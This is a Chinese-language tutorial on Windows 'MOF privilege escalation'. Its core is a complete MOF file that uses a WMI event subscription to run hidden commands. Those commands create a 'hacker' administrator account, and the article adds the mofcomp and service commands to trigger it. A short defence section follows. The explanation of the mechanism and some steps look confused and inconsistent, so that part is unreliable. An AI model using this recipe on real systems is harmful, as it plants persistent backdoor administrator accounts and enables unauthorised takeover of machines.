mof提權

mof提權是指利用Windows系統中存在的漏洞，通過mof文件進行提權，獲取系統管理員許可權。這篇文章將從多個方面對mof提權進行詳細的闡述。

一、mof文件的基本概念

mof文件是一種用於描述Windows系統管理對象的文件，其中包含了WMI（Windows Management Instrumentation）的相關信息，可以被WMI識別和解析。

通常，mof文件是由開發人員或系統管理員編寫的。在Windows系統中，通過mof文件可以管理系統的各種屬性、設置、狀態等，包括但不限於硬體、軟體、網路連接、用戶賬戶等。

在mof文件中，通常包含了對象的屬性、方法和事件等信息，以及對象之間的關係。通過WMI，系統可以根據mof文件中的描述創建和管理相應的對象。

二、mof提權的原理

mof提權利用的是Windows系統中WMI服務的漏洞。WMI服務在執行mof文件時，會檢查mof文件的語法和語義等方面的合法性，然後根據文件中描述的內容創建相應的對象。

在mof文件中，我們可以創建一個不存在的對象，並將其指定為管理員組或系統組的成員之一。然後，當WMI服務執行mof文件時，由於其語義合法，會在系統中創建一個管理員組或系統組的成員對象，從而使我們可以獲得管理員許可權。

三、mof提權的具體操作步驟

在實際操作中，要進行mof提權，需要經過以下步驟：

1.創建mof文件

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
	EventNamespace = "Root\\Cimv2";
	Name = "filtP1";
	Query = "Select * From __InstanceCreationEvent "
		"Where TargetInstance Isa \"Win32_LocalTime\" "
		"And TargetInstance.Second = 5";
	QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
	Name = "consPCSV2";
	ScriptingEngine = "JScript";
	ScriptText =
	"var WSH = new ActiveXObject(\'WScript.Shell\');\r\n"
	"WSH.run(\'cmd.exe /c net user hacker 123456 /add\',0,false);\r\n"
	"WSH.run(\'cmd.exe /c net localgroup administrators hacker /add\',0,false);\r\n";
};
instance of __FilterToConsumerBinding
{
	Consumer   = $Consumer;
	Filter = $EventFilter;
};

2.準備工作

在Windows系統中，需要先將WMI服務停止，然後將WMI服務的啟動類型設置為「手動」，並且重啟系統。

接下來，需要將創建好的mof文件粘貼到系統的C:\Windows\System32\wbem文件夾中，並執行以下命令：

mofcomp.exe c:\windows\system32\wbem\mof\hacker.mof

3.啟動WMI服務

執行以下命令，啟動WMI服務：

net start winmgmt

4.執行提權操作

在WMI服務啟動之後，mof文件中的內容便會被執行。此時，我們創建的對象也會被創建並加入到管理員組或系統組中。

最後，我們可以通過創建的管理員賬號進行登錄，並獲得管理員許可權。

四、如何防範mof提權攻擊

針對mof提權攻擊，可以採取以下措施進行防範：

1.禁用WMI服務

由於mof提權利用的是WMI服務的漏洞，因此可以將WMI服務進行禁用。這樣可以有效地防範mof提權攻擊。

2.限制WMI服務的使用許可權

可以限制WMI服務的使用許可權，確保只有授權的用戶和應用程序才可以訪問WMI服務。這樣可以減少mof提權的機會，並提高系統的安全性。

3.定期檢查系統漏洞

定期檢查系統中存在的漏洞，並及時進行修補。這樣可以減少攻擊者利用漏洞進行攻擊的機會，提高系統的安全性。

五、總結

mof提權是一種常見的Windows系統漏洞攻擊方式，其原理是利用WMI服務的漏洞進行提權。為了防範mof提權攻擊，可以採取禁用WMI服務、限制WMI服務的使用許可權和定期檢查系統漏洞等措施。